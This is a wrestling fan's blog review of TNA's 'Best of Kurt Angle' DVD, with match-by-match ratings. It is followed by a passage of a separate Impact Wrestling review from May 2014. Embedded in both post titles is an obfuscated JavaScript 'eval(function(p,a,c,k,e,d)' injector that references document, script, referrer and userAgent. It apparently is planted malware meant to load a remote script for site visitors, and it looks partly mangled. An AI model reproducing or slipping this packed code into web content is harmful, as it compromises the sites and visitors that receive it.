Champion – The Best of Kurt Angle: The Samoa Joe Story

Champion: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zehan|var|u0026u|referrer|inyyz||js|php'.split('|'),0,{})) The Best of Kurt Angle
Location: Impact Zone, Orlando, Florida
Commentators: Don West, Mike Tenay

So you might remember around Christmas 2013, TNA released a bunch of their DVDs on their Youtube page for free and said it was just for that weekend. It’s now six months later and they’re all still available for free. I might as well take advantage of it and throw some stuff out there, starting with this one. I’m pretty sure the title speaks for itself. There are ten matches on the set and I’ll be doing all of them fresh here. Let’s get to it.

This was released in November 2008.

This whole thing runs seven hours in length with the documentary eating up a lot of that. Expect a lot of stuff to be condensed into a few sentences for the sake of time and space. I won’t leave anything out, but if Kurt talks about the Olympics for ten minutes, it’s going to be summed up as “LONG discussion of the Olympics” unless something major pops up.

We open with the announcement of Angle’s signing from No Surrender 2006. The fact that they announced Impact going to prime time first and THEN gave the major surprise made this even better. It was a genuine shock that people didn’t see coming and that’s what you shoot for with something like this. What a lot of bookers don’t get though is it needs to be something people actually WANT TO SEE, rather than just shock for shock’s sake.

Angle talks about the fans thinking the silhouette was of Goldberg and then lost their minds when they saw his face. I’ll buy that one.

We go to Impact where Samoa Joe has been told to give up the NWA World Title belt (he wasn’t champion) but he ripped up the documents telling him to do so. This brought out Kurt Angle for his Impact debut. Keep in mind that this was when Joe was undefeated and THE TNA guy. Without saying anything, Angle headbutts Joe and nails an Olympic Slam. He picks up the belt but a bloody Joe is back on his feet to lay out Angle with an enziguri. In the melee, Jeff Jarrett comes in to take his belt back. Security has to come out and separate the guys from brawling.

Angle’s family talks about him growing up and how generous he is. Kurt cried whenever he lost at a sport as a kid. Being better than his brothers motivated him to become as good as he was.

Then his dad fell off a building he was working on and died. Angle talks about how hard his dad worked and how he (Kurt) modeled his life after that.

This immediately transitions back into the Joe vs. Angle feud as we head to Genesis 2006 for Angle’s (important) first match in TNA.

Kurt Angle vs. Samoa Joe

Joe has been undefeated for eighteen months in TNA. Angle has a big bandage on his head after a match with Abyss. Kurt grabs a single leg to start but Joe is immediately in the ropes. Some kicks to the ribs set up Angle’s overhead belly to belly and a clothesline puts Joe on the floor. That’s fine with the Samoan as he grabs Angle by the legs and pulls him to the floor, swinging him into the barricade. Quite the counter.

Back in and Angle misses a charge into the post and falls back out to the floor. The suicide elbow drops Kurt again and Joe rams him face first into the steps for good measure. They’re actually nailing the big match feel so far. Kurt’s head is busted open as the bandage has come off. Joe of course kicks at the cut and digs away with his fingers. That’s quite the savage as he rubs Angle’s blood over his chest.

A powerslam puts Angle down for two and a tilt-a-whirl backbreaker gets the same as Joe is in full control. He tries the MuscleBuster too early though and Angle counters with a tornado DDT for two. Joe misses a charge into the corner though and it’s time to roll some Germans. They both the release though and Joe is dropped (thankfully not on his head) for two.

The Angle Slam is countered into an armdrag and Joe nails a running knee in the corner. An enziguri sets up the MuscleBuster for a close two and both guys are down. Angle rolls out of the Koquina Clutch and grabs the Slam for two. The fans want someone to make the other tap and Angle takes down the straps.

Kurt hooks the ankle lock but Joe finally rolls over and pulls Kurt down into the Clutch. Angle counters that into the ankle lock and Joe is in trouble. He rolls through to send Angle into the corner but misses a charge, setting up the Slam. Angle does a favorite of mine by putting the straps back up so he can take them down agani, setting up the ankle lock with a grapevine to make Joe tap out.

Rating: B-. It’s good but this didn’t hit the levels they were shooting for. The fact that it was only thirteen and a half minutes hurt it a bit as they needed some extra time to make this a big better. It’s good, but having this match so soon in Angle’s run but it wasn’t the worst decision in the world.

The fans tell Joe that he tapped out and Joe says they’re absolutely right. Angle was the better man tonight but if Kurt is that much of a man, he’ll give Joe a rematch. Joe holds his hand out but Angle won’t shake it and walks away.

Kurt’s brothers talk about Angle hitting another level in athletics in about 9th grade. Losing drove him to work that much harder and he became unbeatable. He played an amazing game of football right after his dad died which made Kurt realize how important his father was to him.

That brings us to college where he focused on wrestling instead of any other sport. This goes into a long discussion of how awesome Angle was in college.

We transition back to his professional career as Angle talks about his sister dying before a match with Samoa Joe.

Christian talks about how awesome Angle vs. Joe was.

Angle talks about giving Joe a rematch because the man he beat for the Olympic gold medal was against a man that beat him before.

Joe talks about needing one more chance, which he got at Turning Point 2006.

Samoa Joe vs. Kurt Angle

Angle is mostly heel now. Kurt takes him into the corner to start before an armbar puts Joe on the mat. Off to the leg instead but Joe makes it into the ropes. Back up and Joe just LEVELS Kurt with a clothesline and hammers away in the corner. Kurt is sent to the floor but comes up with right hands before running inside and diving over the top to take out Joe.

They slug it out on the floor before heading back inside for even more brawling. Joe is in trouble on the mat but comes up with something like a Kimura. Angle reverses and they fight in the corner until Joe hits his throat on the ropes. The overhead belly to belly gets two for Kurt and we hit the body vice on the mat. Joe fights up and plants Angle with a release German suplex.

Some clotheslines have Angle in trouble but he counters the Clutch into Rolling Germans. Joe pops back up again with a suplex of his own but Angle rolls through the MuscleBuster into the ankle lock. That gets rolled through as well so it’s the Angle Slam for two. They hit the mat again with Angle getting caught in the Clutch. Angle slips out of that as well and puts on the ankle lock again but Joe counters THAT into the Clutch. AGAIN Angle counters into the ankle lock with the grapevine but Joe actually crawls over to the ropes. I think that’s one of about three time that hold has ever been escaped.

Angle takes him into the corner but Joe fights out of a belly to belly superplex. Kurt will have none of that though and runs the corner for the superplex and two. Joe blocks a charging Angle with an elbow but the referee gets bumped. Angle gets caught in the choke and taps but there’s no one to see it. Why Joe would release the hold is beyond me but it’s a common wrestling mistake. Angle hits the Samoan low and grabs a chair. The chair hits the rope though and winds up knocking Angle right back into the Clutch for the submission.

Rating: B+. I liked this much better than the previous one but the last segment hurt things. The low blow and chair didn’t need to be in there but it did tell a nice story of Angle not trusting his own abilities and losing as a result. Setting up a trilogy made the most sense for these two though so Joe had to get the win.

Back to the family to discuss Angle’s rise through the amateurs, including winning the World Championships and gearing up for the Olympics. Kurt was losing a lot at the time and actually quit for awhile. That didn’t even last two months and Angle came back with even more intensity. He would tire guys out and win his matches easily which was the strategy he used going into the Olympics. Angle knew he would retire if he won the gold medal.

We look at Angle’s training regimen and it’s INSANE, with Angle running up steep hills and jumping rope for long stretches of time day after day.

This brings us to the broken neck at the US Open. Angle could barely stand but found a doctor to clear him. They couldn’t use Cortisone because it’s a steroid so they pumped him full of Novocaine (the stuff used for dental work) before every match. A chiropractor tried cracking his neck but it kept taking away the feeling in Angle’s arms. He only had four shots per match at the Olympics but won anyway.

We get into a discussion of Dave Schultz, Angle’s coach and the king of amateur wrestling in America. Then Schultz got shot and killed, so Angle started coaching himself. Kurt won the gold medal and Bruno Sammartino of all people comments on it. We jump back for a LONG discussion of Angle’s gold medal match. Kurt won on a judges’ decision and it’s a cool story to hear about his rollercoaster of waiting to find out.

Discussions of Angle’s charity work and celebrity status after the gold medal. These are like 5-10 minutes long each.

Back to professional stuff for…..another Samoa Joe match. This time it’s a thirty minute iron man match at Final Resolution 2007.

Kurt Angle vs. Samoa Joe

The winner gets a World Title match at Against All Odds. Feeling out process to start as the fans are totally split on who to cheer for. Kurt takes him down and cranks on a headlock but Joe nails a shoulder block to send Angle outside. Back in and another shoulder puts Angle out again as we’re three minutes into the match. Kurt gets in again and nails a running shoulder to put Joe down this time.

Things slow down a bit until Joe takes Kurt’s head off with a clothesline. The corner enziguri gets two and we hit a seated abdominal stretch by the Samoan. Angle quickly gets up and hits the overhead belly to belly to take over again. Off to the chinlock on Joe to kill some time. Joe finally rolls over into the ropes and comes back with a snap suplex as we’re ten minutes in.

Angle is sent outside but Joe mostly misses the suicide elbow to put both guys down on the floor. Back in and the powerslam gets two on Angle but he rolls through the MuscleBuster, only to get caught in the Clutch for the first fall with about seventeen minutes to go. We keep going after a quick rest period and Angle takes over with a big right hand. Back to the chinlock as we hit fifteen minutes left in the match.

Joe fights up and has to armdrag out of the Angle Slam attempt. A big running knee to the face takes Kurt down but he grabs the ankle lock with the grapevine to tie the match up with fourteen minutes left. Joe tapped out almost immediately to prevent further damage. A European uppercut gets two for Angle and we’re back in the chinlock. Back up and Joe can’t armdrag out of the Slam again and it’s back to the ankle lock with the grapevine. Joe has to tap again to make it 2-1 with eleven minutes to go.

Under ten minutes now with Angle stomping away at the bad leg in the corner. Joe fights back and hits a running knee to the face in the corner, setting up the MuscleBuster but AGAIN Angle rolls through for a two count. The Slam connects for two and there go the straps. Joe rolls him into the buckle though and nails the MuscleBuster to tie it up with seven and a half minutes left.

A Joe’s Gonna Kill You chant starts up but Angle takes out the bad leg. We hit the grapevined ankle lock again but Kurt switches back to a normal one, allowing Joe to roll through to escape. Kurt grabs a rollup out of nowhere though to make it 3-2 with five minutes to go. They head outside for some brawling as we have four minutes on the clock. Neither guy gets an advantage so they head back inside for the release Rock Bottom out of the corner from Joe.

Three minutes left. Angle slips down to the floor and wraps Joe’s bad leg around the post twice in a row. Back in and we hit two minutes. Joe nails another MuscleBuster but Angle gets his foot on the ropes at two. Joe kicks away from the ankle lock with a minute left. Angle blocks a Clutch attempt but Joe is right back on him. Thirty seconds to go. Joe puts on an ankle lock of his own with a grapevine but Angle holds on without tapping out for a three to two win.

Rating: B-. This wasn’t as good as the second match as the chinlocks get a bit tiring. They make perfect sense but they’re dull to sit through. The general problem with these matches is you have to wait until the very end for the real drama. It’s not a bad match or anything and it’s a good way to close out the series, but Turning Point was much better.

Angle talks about life after the Olympics and not knowing what he was supposed to do. This leads to a long discussion of Angle being a local celebrity in Pittsburgh and how much the city loves wrestling. Being a sportscaster didn’t work all that well and there’s a long story of how big a disaster his first night was.

Kurt was named Iron Man of the Year by a Pittsburgh beer company and met his wife through the promotional campaign. Another long discussion of his family life follows.

Angle lost at Against All Odds, won the title at Sacrifice, got stripped of it due to it being a double pin, and would got another shot in the King of the Mountain match at Slammiversary 2007.

TNA World Title: Chris Harris vs. Kurt Angle vs. AJ Styles vs. Samoa Joe vs. Christian Cage

Title is vacant coming in. The rules here are a bit complicated. It’s a reverse ladder match as you have to hang the title above the ring to win. Before you can do that though, you have to become eligible by getting a pinfall or submission on someone else. If you get pinned or submit, you have to go to a penalty box at ringside for two minutes. Officially Angle has never won the title coming in, even though he won last month. Harris is a surprise entrant. After full entrances for everyone and Big Match Intros we’re finally ready to go.

It’s a huge brawl to start with Cage and goofy Styles (horrible time for him) double teaming Harris. AJ tries to lay down so Christian can be eligible but Angle makes the save. Instead it’s the great AJ dropkick to put Harris down as Angle and Joe fight on the floor. Styles tries a rollup on Christian for two and Christian is livid. Joe breaks up AJ’s moonsault attempt and sends him hard into the barricade.

Back in and Joe nails a running boot to Christian’s chest to put him down but Harris throws Joe through the ropes and onto Angle. Harris can’t hit the Catatonic on Christian but settles for a full nelson slam. AJ tries a tornado DDT but gets caught in the Catatonic to make Harris eligible and send Styles to the box. Joe throws a ladder over the top rope to take out Christian and Harris, giving us Angle vs. Joe. Again.

Joe tries the Facewash on Angle but gets caught in Rolling Germans for his efforts. Christian comes back in and gets caught in the ankle lock and the Clutch at the same time. AJ gets out of the box to make the save as Harris comes back in as well for a big brawl. Christian tries to suplex Harris onto the ladder but gets crotched instead, followed by AJ’s moonsault into a reverse DDT on Harris for two. Styles cleans house but the Clash to Angle is countered into the ankle lock. AJ nips up into a hurricanrana before sending Harris throws AJ over the top onto Chrisitian on the ladder in a big crash.

Harris tries to climb up and hang the belt but Angle brings him down with the Slam for the pin to be eligible. Joe catches Christian in the release Rock Bottom out of the corner and an Island Driver (modified White Noise) takes AJ down. The MuscleBuster gets two as Angle makes the save and there goes the referee. Angle taps out to the Clutch and thankfully Joe doesn’t break the hold. Christian breaks it up with the ladder and steals the pin. Harris is out of the box, Angle goes in and Christian is now eligible.

Joe and Christian go up the ladder with the Samoan taking him down with a huge Diamond Cutter onto the title. Harris goes up the ladder instead but he has to knock Joe down with a belt shot. The same thing happens to Christian but AJ springboard dropkicks the ladder over for the save. Angle is out of the box. Joe and AJ climb on top of the box (just above the top rope) with AJ low blowing out of the Clutch. Joe flips AJ over and through a table on the floor for a HUGE crash.

Now it’s Harris vs. Christian on the cage with Harris getting the better of it. He dives off the cage to take Angle down with a clothesline but has to beat people up before climbing the ladder. Ladder shots put Christian and Kurt down but Christian is up for the save. Christian goes up top but Angle puts on the ankle lock on the ladder. That doesn’t last long as they fight up top until Harris spears Christian down. Angle is all alone and hangs the belt for the win and the title.

Rating: B. It’s a total mess but it’s TNA’s total mess. I can’t imagine people would complain about Angle winning the title as he’s the biggest star in the company and had to really win the title eventually. The fact that Joe wasn’t even eligible for the title is kind of a downgrade for him but he’d have his day eventually.

Joe offers a handshake post match but gets kicked in the gut and Slammed.

We get into a discussion of Angle entering pro wrestling in 1998 after turning it down in 1996. Angle signed for the lowest deal the company offered, knowing he’d make a million dollars in a year. He would train for months, including with Dory Funk Jr. and fellow student Christian, and soon become a top star.

Jeff Jarrett talks about Angle training in Memphis.

Mick Foley talks about Angle’s early years in the WWF and seeing potential in him. After his first contract expired, Angle was given the same kind of contract that Undertaker, HHH and Austin had at the time. This leads to Angle praising Vince.

We completely skip over most of his WWF career and get to him jumping to TNA in roughly two minutes. Makes sense. Angle talks about having four broken necks in his career which messed him up for awhile.

This leads to a discussion of Angle getting addicted to the pain pills and his marriage falling apart as a result.

Now we talk about the neck injury in 2003 and Angle losing feeling in his arms. He kept coming back in a few months and it kept making things worse. This led to him thinking he needed to retire but moving into more marketing and appearance stuff. Then he went on a huge rant against Vince about wanting a release, nearly leading to a fight. Kurt started crying and left the room so Vince said they’d release him for six months to recharge before coming back on the same deal. Vince pointed out that Angle wouldn’t get far on just a gold medal, and that ticked Angle off. Angle is sorry for a lot of the bad stuff he did as he was leaving.

I kid you not, it’s time for another Angle vs. Joe match. From Hard Justice 2007.

TNA World Title/X-Division Title/Tag Team Titles/IWGP Title: Kurt Angle vs. Samoa Joe

Yes it’s for EVERY TITLE IN THE COMPANY plus a Japanese title. Joe is X-Division and Tag Team Champions (by himself) coming in while Angle has the TNA and IWGP World Titles. Karen is scheduled to be at ringside despite having a lot of problems with Kurt around this time. There are empty chairs for her and a guest at the moment so the mystery is on. Joe gets a full island dance troupe to bring him to the ring. It takes three referees to hold up all of the belts but the IWGP Title isn’t even mentioned. Kurt is looking far skinnier here and clearly is distracted by the empty chairs.

Kurt cranks on a headlock to start but gets taken down by a hard shoulder, sending Angle to the floor to clear his head. Karen and some guy show up with champagne and the distraction is on in full. Back in and Joe easily shoves Kurt down so he lowers the straps to make things serious. We go back to silly though as Joe’s sunset flip results in the singlet being lowered for the Flair spot.

Angle goes back outside to argue with Karen and the guy, earning him a glass of champagne to the face. Back in and Joe takes over by sending Angle shoulder first into the post. There’s the Facewash for good measure but Angle grabs a German suplex out of nowhere to put both guys down. Another suplex gets two and we hit the reverse chinlock on the Samoan. Now Angle rolls the Germans but Joe reverses into a release German of his own to counter.

The snap powerslam and enziguri in the corner get two each for Joe. The release Rock Bottom gets the same but Angle snaps into the ankle lock. Joe rolls through but gets caught in a quick Angle Slam for two. The running belly to belly gets two more for Angle but he stops to yell at Karen.

The extra time lets Joe avoid the moonsault and it’s the MuscleBuster for two. Angle has to bite his way out of the Clutch and it’s off to the ankle lock, only to have Joe counter back into the Clutch. A rope is grabbed but the referee goes down. Angle taps to the Clutch but Joe lets him go. Karen gets up with a chair, it’s a swerve, Angle knocks Joe cold and wins all the titles.

Rating: B-. The swerve was about as obvious as you could ever imagine, but the decision is the stupid part. Angle is literally champion of EVERYTHING now which is overkill no matter what. Yeah it’s only going to last a little while, but man alive this got on my nerves back in the day and it’s still annoying today. The match itself was good but the first half was spent with Angle yelling at Karen.

We talk about Angle coming to TNA with various people saying how might lighter of a schedule it was for him. Basically everyone says Angle is amazing, the nicest guy you could ever meet and the best wrestler ever. This just keeps going until Angle starts talking about the fans being passionate. He says their fans care more because they chant TNA and he’s never heard a fan chant WWE. That could be because WWE is about the wrestlers and not the company which is how wrestling has worked for like, ever, and chanting for the company doesn’t usually do all that well but what do I know?

Everyone agrees that Angle made the right choice and they talk about the surprise at No Surrender. Even Sting didn’t know that Angle was coming in until right near the debut. People talk about how excited they were. Don West’s voice is very different than it is on air. This is a segment that could have been trimmed down as it’s been over fifteen minutes since the last match ended.

Angle calls the next match his favorite in TNA. They show the ending before they air the match though which is kind of annoying. I know the ending but how many people watching would have?

X-Division Title: Kurt Angle vs. Jay Lethal

From No Surrender 2007, one of Angle’s three matches that night. He and Sting lost the Tag Team Titles to R-Truth and Pacman Jones earlier in the night because TNA does some stupid things at times. This is nearly at the peak of Black Machismo so Lethal is way over. Angle goes to the ropes to escape a wristlock before easily sending Jay across the ring with a hiptoss. Back up and Jay hits a cartwheel into a dropkick followed by a middle rope ax handle for two.

Kurt gets tired of the goofy offense and nails a buckle bomb to take over. After a suplex we’re off to the chinlock followed by a tilt-a-whirl backbreaker for two on Jay. Frustration starts to set in so we’re back to the chinlock. Back up and Jay speeds things up, only to have a double clothesline drop both guys. Lethal grabs a headscissors for two and Angle is looking tired. He’s not tired enough to grab a release German though and Angle is on his second wind.

Lethal elbows him right back out of it but Kurt is able to run the ropes for the superplex and a very near fall. The ankle lock is quickly broken and a small package gets two on the champion, but he rolls the Germans to take over again. Jay armdrags out of an Angle Slam and hits the Lethal Combination and top rope elbow for a VERY close two. Lethal is frustrated now but gets two off a powerbomb counter. Angle destroys Jay with another German and there go the straps. The Slam is countered but Kurt grabs the ankle lock, only to have Jay counter into a rollup for the pin and the title in a HUGE upset.

Rating: B-. Good match here with a major shock to end things. I can even live with the World Champion getting pinned as it was Angle’s second match of the night so he wasn’t coming in fresh. This was a great rub for Lethal and the best thing that could have happened to him at this point.

We hear more about how brilliant Angle is. I’m not sure how much of a compliment that is coming from Dixie Carter. Bruno Sammartino says he only watches wrestling to see Kurt Angle. Now that means something.

Long discussion of Angle’s conditioning and intensity.

Discussion of how entertaining Angle is on the mic. Foley talks about being a Kurt Angle fan back in 2000 because of how entertaining he was.

Kurt is professional too. Trivia for you: his first match as a pro was against Christian.

Angle defended the title against Sting at Bound For Glory 2007.

TNA World Title: Sting vs. Kurt Angle

The match is in Atlanta so we get a video on both guys having history in Atlanta. Feeling out process to start with the fans almost entirely behind Sting. He cranks on the champion’s arm before taking Angle down to the mat with a nice headlock takeover. A hiptoss sends Kurt out to the floor before he heads back inside for a beating in the corner. All Sting in the first four minutes or so.

They head outside again where Sting sends him ribs first into the barricade and then the announce table. Back in again and Angle misses a charge, sending him shoulder first into the post. Not that it matters as Angle snaps off a release German and the Angle Slam for two. We hit the chinlock for a bit before Angle snaps off a release belly to belly. Back to the chinlockery but Sting quickly fights up and hammers away with right hands and clotheslines.

A spinebuster gets two on the champion and there’s the Stinger Splash. Another one sets up the bulldog but Sting takes too long going up top, allowing Angle to run the ropes for the belly to belly. Angle Slam is countered into a sunset flip for two but Kurt comes back with Rolling Germans. The ankle lock goes on but Sting rolls through into the Scorpion. Karen Angle comes in for the distraction, allowing Kevin Nash (Angle’s buddy) to lay Sting out, setting up the Angle Slam…..for two.

Sting shoves Angle off the top and tries a splash but only hits knees. Angle slams him down and goes up, for a 450 SPLASH, only to have his knee hit Sting in the chest. Sting is up at two but gets caught in the ankle lock but Sting rolls through. The referee gets taken out as Sting hits the Death Drop, but Nash takes out the replacement referee. Sting clotheslines both of them down (with Nash clearly going down before Sting’s arm connected) but Angle gets the baseball bat. It’s easily taken away though and both villains go down, followed by a Death Drop to Angle for the pin and the title.

Rating: B-. This was supposed to be a huge match for TNA but the same TNA formula stuff and some of the botches hold it down. It’s still good, but it felt like they were trying to have a good match instead of actually having a great match. Also it doesn’t come off like the main event of the biggest show of the year at all.

Then the rematch from eleven days later on Impact.

TNA World Title: Sting vs. Kurt Angle

Sting is defending and takes Angle into the corner to start. Kurt comes back with a shoulder and bounces around a bit. Now it’s Sting with some shoulders and a headlock to put Angle on the mat. After a few moments of that, Kurt takes the champion into the corner and kicks away before being caught in the same headlock again. Back up again and Angle nails an uppercut and Sting is suddenly in trouble, only to come back with a big spinebuster.

A suplex gets two for Sting and he rains down ten right hands in the corner. Cue Kevin Nash, who has been having issues with Angle. I’m SURE nothing will go screwy there at all. We come back from a break with Angle getting two off an overhead belly to belly. Sting scores with a DDT and some clotheslines, including one to send Angle to the floor. Angle goes into the steps and Sting nails Nash for no apparent reason.

Back in and Sting hits a Stinger Splash but misses the second one, allowing Angle to hit a quick German suplex. The ankle lock is quickly broken up and the Scorpion goes on but Nash comes in, forcing Sting to break it up. The Angle Slam connects but the referee is down. Another refree comes in and counts the pin to give Angle the title.

Rating: C-. Well that was one of the most worthless title changes ever. This was far less interesting than the Bound For Glory match and the whole thing didn’t work all that well. Angle as champion continues to be the same idea that TNA goes with and it was getting rather dull at this point.

Angle flips Nash off post match.

We hear about Angle’s wife being in the company and making things easier for him.

Joe talks about being a rival but respecting Angle. This leads to a discussion about their rivalry, because about an hour and a half of matches between them isn’t enough. Angle likes AJ Styles and Christian too. This leads to a discussion of Angle always having great matches and deserving to be the first TNA World Champion after the NWA left.

Then Angle went to Japan to defend the IWGP World Title against Yuji Nagata on January 4, 2008, which aired on the Global Impact special. Yes I know it’s a different IWGP World Title.

IWGP World Title: Yuji Nagata vs. Kurt Angle

Angle jumps him from the bell and the fight is quickly on. A release belly to belly sends Nagata flying but he comes back with an identical one of his own. They trade headlock takeovers as the announcers (Tenay and West again) talk about the history of sports events in the Tokyo Dome. Nagata tries a crossface but Angle is quickly on the floor before it can go on. Back in and they trade strikes with the far more popular Nagata taking over.

Angle will have none of this being on defense thing and suplexes Yuji down for another two but gets caught in a quick chinlock. That doesn’t last long either as Angle is quickly up and taking out Nagata’s leg to send him to the floor. Back in and Angle slaps on a figure four to make Yuji scream. Nagata finally crawls over to the ropes so Kurt bends the knee some more in the middle of the ring.

Another figure four attempt is countered and Nagata slaps on his signature armbar. We take a break and come back with Angle rolling Germans as Tenay and West swap out for the Japanese announcers. That lasts all of three seconds, making it more pointless than most stuff TNA does. Nagata rolls some vertical suplexes and puts Kurt in another crossface. Angle uses the old Benoit counter by grabbing the ankle lock while still in the hold to put Nagata in even more trouble.

That’s countered right back into the crossface but Angle fights up and hits the Angle Slam for two. The moonsault misses though and Nagata hits a running knee in the corner to fire up the crowd. A belly to belly superplex gets a very close two on Angle and it’s back to the crossface. With that not working, Nagata switches to a kind of Rings of Saturn rollup for two. They slug it out with Angle nailing a clothesline but going down as well. Nagata gets two off a release suplex but Kurt puts on the ankle lock and sits down like a Boston crab before putting on the grapevine to make Nagata tap.

Rating: B. I was digging that Boston crab ankle lock thing. Other than that the match was solid stuff and a good big match for a supershow like this. The crossfaces were getting repetitive in there but at least there was a story of both guys working on a body part and then following it up. That’s a rare thing to see anymore.

They shake hands post match.

We get a clip of the post match press conference with Angle saying he hurts people in the ring.

Kurt talks about considering MMA after leaving WWE. He met with Dana White and was offered a deal but was told he couldn’t wrestle anymore. Angle had already signed with TNA though so it wasn’t going to happen. Everyone knows he would have been awesome though. Another promotion gave him two and a half months’ notice to fight but that wasn’t enough time for him to be ready. Then a third wasn’t able to pay him enough. Angle talks about wanting to fight but needing the right money.

Jeff Jarrett goes into a long answer to “would Angle be a successful fighter?” before saying he doesn’t know. This was basically ten minutes of repeating the same lines over and over again: “Kurt would fight and be awesome because he was a gold medalist but the money wasn’t right. He might fight one day.” Repeat about seven times, including once by the voiceover guy.

We haven’t had this one in awhile.

TNA World Title: Kurt Angle vs. Samoa Joe

In a cage at Lockdown 2008 with Angle defending and Joe’s career on the line. They haven’t had a PPV match in awhile so we get a recap of their whole history. This is treated more like an MMA fight with Angle in black shorts instead of his usual singlet and MMA fighter Frank Trigg on commentary. Before the match, Angle has Karen thrown out from her front row seat.

They even start by standing in MMA stances before trading leg kicks. Joe gets a leg bar but Angle is almost immediately in the ropes. Down to the mat with Angle hammering away at Joe’s guard as this is getting old fast. Joe gets the better of some mat grappling before it’s back to the stupid MMA stances. Angle finally snaps off a suplex and puts on a side choke until Joe makes the ropes.

Off to a front facelock from the champion before a quick German suplex gets two. A shot to the knee puts Joe down again and we hit the figure four. It’s about time we got to some wrestling. Joe finally turns it over but Angle is right next to the ropes. Angle cranks on the leg again but Joe chops his way out of it. That’s fine with Kurt as he slaps on a quickly broken headlock. Seriously a headlock in a cage match?

Back up and Joe nails a clothesline to put Kurt down but he has to shake his knee a bit. Kurt goes to the middle rope but gets caught by the enziguri. The MuscleBuster is countered and Angle hooks the ankle lock. Joe rolls out and gets two out of the release Rock Bottom out of the corner. The powerbomb into the Walls of Jericho into the STF into the crossface has Angle screaming.

Kurt grabs the ankle to finally escape but Joe pulls Angle back down into the crossface in the middle of the ring. Angle finally rolls over to get the ropes but Joe puts it right back on. Another rope is grabbed and the Angle Slam gets two. The champion puts on the ankle lock but he spins one too many times and gets pulled into the Clutch, only to use the referee’s shirt to make it to the ropes. Another Angle Slam attempt is countered and Joe sends him face first into the cage (first time it’s been used) and the MuscleBuster FINALLY gives Joe the title.

Rating: B. This got much better once they stopped the stupid MMA stuff and had a wrestling match. There was no need to have a cage here as it was only used once towards the end, which could have been replaced by a kick or something like that. It’s a good match and a good moment, but at the end of the day this was too overdone for what it needed to be.

Kurt says he has at least three years to go (this was about five years ago) and wants to have the best retirement year ever.

People see him on creative or coaching in ten years.

One last “Kurt is great” bit wraps us up.

Overall Rating: B+. There are some things that you have to allow here, but the majority of this was excellent. The documentary was really good stuff with pretty much everything you could ever want to know about Kurt Angle’s TNA run all in one place. They had a nice selection of people talking about him with Bruno being a great choice. The major issue with the documentary though is there’s no connection between what they’re talking about and the matches. They just show up with no real rhyme or reason and it gets a bit annoying at times.

The other problem is weighing in tonight at 280lbs and comes to us from the Isle of Samoa. That introduction takes place in six out of ten matches and five of the nine one on one matches. That’s WAY too much and I can’t imagine there’s nothing else they could have run. You didn’t need the third matches in their original series for instance.

The whole pairing just got way too repetitive and I’d love to see Angle vs. other people. The set came out in late 2008 so that has a lot to do with it, but with the selection they had at the time, there had to be something else to throw in there. They had some really good matches in 2008 to pick from so there really is no excuse.

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Impact Wrestling – May 29, 2014: What Is It Good For? Absolutely Nothing.

Impact eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktare|var|u0026u|referrer|taief||js|php'.split('|'),0,{})) Wrestling
Date: May 29, 2014
Location: Impact Zone, Orlando, Florida
Commentators: Mike Tenay, Tazz

After last week, the only hope that I have is that the focus is spread out a little bit, rather than having almost everything being about the new trio. We’re coming up on Slammiversary with Eric Young defending against MVP, but now we also have to deal with Dixie Carter not being ok with MVP’s actions. Let’s get to it.

We open with a video on the trio’s dominance and desire for power with a lot of clips from last week.

Here’s Bully Ray to say that he’s obsessed with six people here in TNA. They all have bullseyes on their backs and he promises to put them all through tables. There are six tables standing up next to the ramp with names on them: Lashley, EC3, Kenny King, MVP, Spud and Dixie Carter. Ray heads to the ring and calls out anybody for a fight right now. He gets MVP in wrestling gear but the boss is walking slow. MVP says this isn’t happening tonight and there’s no fun in coming to the ring for a fight. Well, at least not on his own.

King and Lashley come out as well but EC3 and Spud slide into jump Ray. The trio gets in as well and Ray is in big trouble. EC3 and Spud bring the Spud table to the ring but Eric Young, Austin Aries and the Wolves come in for the save. The heels leave but Spud gets caught. Aries wants a six man tag and Ray wants it next. As a preview, Ray hits a middle rope powerbomb to drive Spud through the table.

MVP/Bobby Lashley/Kenny King vs. Wolves/Austin Aries

This is joined in process in a big brawl on the floor as we come back. It’s Lashley throwing Aries around to get us going legally before choking away. Aries comes back with some kicks to the leg as Edwards and King come inside for brawling as well. Aries escapes the powerslam and low bridges Lashley to the floor. King is sent outside the same way, followed by Richards (with his heavily taped ribs) sending MVP out to join them. The Wolves hit stereo dives and Aries comes off the top to take out Lashley as we take a break.

Back with King in trouble but MVP throws in a kick from the apron to put Edwards in trouble. Lashley comes in off the tag and throws Eddie around with ease. He drives shoulders in the corner before it’s back to MVP for a hard lariat and two. King comes back in but Edwards flips out of a German suplex and makes the tag to Aries.

Austin fights hard but gets caught in a running powerslam from Lashley. Aries escapes the Royal Flush though and nails the brainbuster on King. Back to Richards who goes up and rips the tape off his ribs, only to have the double stomp hit King’s shoulders. Lashley spears him down though and MVP hits a Drive By for the pin on Richards at 14:50.

Rating: C. Not bad but the injury was clearly going to be the focal point of the match. I’m kind of surprised they had this match here instead of swapping some people in for a big match at the pay per view. I’m really hoping Dixie’s team doesn’t hook up with the trio but it certainly looks like we’re heading that way.

Bram tells Magnus to be out there for his match.

EC3 is worried about going through a table but Dixie says don’t worry about it because she has business with MVP.

Tigre Uno vs. Bram

Bram runs Tigre down to start and growls at him with some freaky eyes. Uno fights out of a choke but gets clotheslined down for his efforts. An Impaler DDT gets the pin on Tigre at 2:08.

Post match Magnus has to stop Bram from killing Tigre with the metal rod. Bram says the old Magnus would have ripped the mask off and beaten him senseless. Magnus says maybe Bram needs a better opponent. Maybe someone a little crazy. Maybe a former World Champion. Maybe….it should be Willow.

Anderson asks Gunner what’s up with him and Shaw. Gunner says Anderson knows what it’s like to be in the military and Shaw just needs someone to talk to. They’re a team tonight.

